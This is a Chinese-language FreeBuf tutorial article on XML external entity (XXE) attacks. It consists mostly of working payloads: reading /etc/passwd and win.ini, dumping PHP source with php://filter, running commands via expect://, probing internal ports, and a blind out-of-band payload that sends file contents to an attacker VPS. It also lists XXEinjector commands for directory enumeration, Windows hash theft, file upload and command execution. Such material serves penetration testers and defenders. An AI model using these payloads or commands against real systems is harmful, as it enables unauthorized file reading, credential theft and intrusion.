freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XXE从入门到精通
2025-01-13 13:55:02
所属地 四川省

XXE从入门到精通

一、前置知识

1. 什么是XXE

在应用程序解析XML时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站等危害

2. xml-dtd

<?xml version="1.0"?> 
<!-- 这是注释 -->
<!DOCTYPE foo [
<!-- 定义变量xxe -->
<!-- 外部实体要用system关键字 -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>
<!-- 读取变量xxe -->

3. CDATA

所有 XML 文档中的文本均会被解析器解析。只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。使用CDATA可以读取一些带有非法字符的文件

在 XML 元素中,"<" 和 "&" 是非法的。

  • "<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

  • "&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

二、有回显XXE的利用

1. 读取文件

windows:
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

linux:
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:////etc/passwd"> ]>
<foo>&xxe;</foo>

image.png

2. 使用CDATA的方式读取文件

```xml-dtd
payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % then SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<foo>&all;</foo>
evil.dtd:
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%then;%end;">

image.png

### 3\. 读取php源码:

``` xml-dtd
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php"> ]>
<foo>&xxe;</foo>

使用base64解码获取源码。
image.png

4. 远程代码执行

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami" > ]> 
<foo>&xxe;</foo>

安装了php expect 扩展(不常见)

5. 内网端口探测

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>

根据返回时间判断端口是否开放。返回时间短,该端口开放;返回时间长,端口未开发。

三、 无回显XXE的利用

payload:
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;%out;%send;
]>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % out "<!ENTITY % send SYSTEM 'http://vps-ip/?p=%file;'>">

屏幕截图 2025-01-12 162645.png
思路:加载远程dtd文件,dtd发起一个http请求,将base64编码的c:/windows/win.ini文件赋予给实体file,对http://vps-ip/?p=%file这个url发起请求时,服务器上的日志文件就会保存c:/windows/win.ini的文件内容

四、工具的使用XXEinjector

1. ruby环境下载

ruby安装完成后在命令行输入:ruby -v
image.png

2. XXEinjector下载

XXEinjector

3. 常用参数

--host	    必填,用于反向连接的IP地址 (--host=192.168.0.2)
--file	    必填,包含有效HTTP请求的xml文件. 您还可以用“XXEINJECT”标记应该注入DTD的点(--file=/tmp/req.txt)
--path	    枚举目录时为必填项-要枚举的路径(--path=/etc)
--brute	    爆破时为必填项-字典路径 (--brute=/tmp/brute.txt)
--logger    用于记录输出结果
--rhost	    远程主机的IP地址或域名(--rhost=192.168.0.3)
--rport	    远程主机的TCP端口(--rport=8080)
--oob	    带外利用方法。默认为FTP,FTP可以在任何应用程序中使用。在Java<1.7的应用程序中,HTTP可用于通过目录列表进行强制转换和枚举。Gopher只能在Java<1.7的应用程序中使用。(--oob=http://ftp/gopher)(--oob=http/ftp/gopher)
--2ndfile   包含在二阶攻击中使用的有效HTTP请求的文件(--2ndfile=/tmp/2ndreq.txt)
--phpfilter在发送之前使用PHP过滤器对目标文件进行base64编码
--netdoc    使用netdoc协议(Java).
--enumports 枚举反向连接的未筛选端口。指定值“all”以枚举所有TCP端口。(--enumports=21,22,80,443,445)
--hashes    窃取运行应用程序的用户的Windows哈希值.
--expect	使用PHP expect扩展执行任意系统命令。最好使用HTTP和PHP filter。(--expect=ls)
--upload	使用Java jar模式将指定文件上传到临时文件中。(--upload=/tmp/upload.txt)
--xslt	    测试xslt注入.
--ssl		使用ssl.
--proxy	    使用代理(--proxy=127.0.0.1:8080)
--httpport  设置自定义HTTP端口 (--httpport=80)
--ftpport	设置自定义FTP端口(--ftpport=21)
--gopherport设置自定义gopher端口(--gopherport=70)
--jarport	使用jar设置上传文件的自定义端口(--jarport=1337)
--xsltport  为XSLT注入测试设置自定义端口(--xsltport=1337)
--test	    用于测试请求的有效性.
--urlencode	URL编码注入DTD(默认).
--output	指定一个文件作为日志,将爆破攻击结果输入该日志中(--output=/tmp/out.txt)
--timeout	接收文件或者目录的超时时间(--timeout=20)
--contimeout关闭与服务器的连接超时。用于防止DoS(--contimeout=20)
--fast	    跳过枚举查询.
--verbose	显示详细消息.
  1. 使用示例
    image.png
    在传xml的位置输入XXEINJECT,复制文件为txt

ruby XXEinjector.rb --host=192.168.160.128 --file=1.txt --path=d:/1.txt  --oob=http --phpfilter --httpport=8081 --verbose
# 使用http方法,读取目标主机d:/1.txt文件,用base64编码,使用自定义http端口8081,输出详细信息。

image.png
(1)枚举HTTPS应用程序中的/etc目录

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

(2)使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

(3)二次漏洞利用

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

(4)使用HTTP带外方法和netdoc协议对文件进行爆破攻击

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

(5)通过直接性漏洞利用方式进行资源枚举

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

(6)枚举未过滤的端口

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

(7)窃取Windows哈希

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

(8)使用Java jar上传文件

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

(9)使用PHP expect执行系统指令

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

(10)测试XSLT注入

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

(11)记录请求信息

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
# 漏洞 # web安全 # 网络安全技术 # XXE攻击 # XXE漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录